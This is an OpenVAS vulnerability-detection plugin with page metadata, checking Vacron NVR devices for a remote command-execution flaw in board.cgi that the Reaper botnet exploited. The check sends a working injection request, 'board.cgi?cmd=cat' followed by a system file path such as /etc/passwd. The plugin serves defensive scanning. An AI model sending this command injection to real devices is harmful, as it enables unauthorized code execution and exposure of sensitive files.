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openvasCopyright (C) 2017 Greenbone Networks GmbHOPENVAS:1361412562310107187
HistoryOct 11, 2017 - 12:00 a.m.

Vacron NVR Remote Code Execution Vulnerability

2017-10-1100:00:00
Copyright (C) 2017 Greenbone Networks GmbH
plugins.openvas.org
2960

The host is installed with Vacron NVR and is prone to Remote Code Execution Vulnerability.

This vulnerability was known to be exploited by the IoT Botnet

###############################################################################
# OpenVAS Vulnerability Test
#
# Vacron NVR Remote Code Execution Vulnerability
#
# Authors:
# Tameem Eissa <teissa@greenbone.net>
#
# Copyright:
# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:vacron:nvr";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.107187");
  script_version("2020-05-08T08:34:44+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"last_modification", value:"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)");
  script_tag(name:"creation_date", value:"2017-10-11 10:31:53 +0200 (Wed, 11 Oct 2017)");
  script_name("Vacron NVR Remote Code Execution Vulnerability");

  script_tag(name:"summary", value:"The host is installed with Vacron NVR and is prone to Remote Code Execution Vulnerability.

  This vulnerability was known to be exploited by the IoT Botnet 'Reaper' in 2017.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The vulnerability is located in the board.cgi due to non sufficient sanitization of the input passed through the Get request.");

  script_tag(name:"impact", value:"Remote attackers are able to execute remote command and view sensitive information such as /etc/passwd.");

  script_tag(name:"affected", value:"All versions of Vacron NVR");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/3445");
  script_xref(name:"URL", value:"http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/");

  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_dependencies("gb_vacron_nvr_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("vacron_nvr/installed");
  script_require_ports("Services/www", 8080);

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe: CPE)) exit(0);
if(!dir = get_app_location(cpe: CPE, port: port)) exit(0);
if(dir == "/") dir = "";

files = traversal_files();

foreach pattern(keys(files)) {

  file = "/" + files[pattern];

  url = dir + "/board.cgi?cmd=cat%20" + file;

  if (http_vuln_check(port: port, url: url, pattern: pattern, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url) ;
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);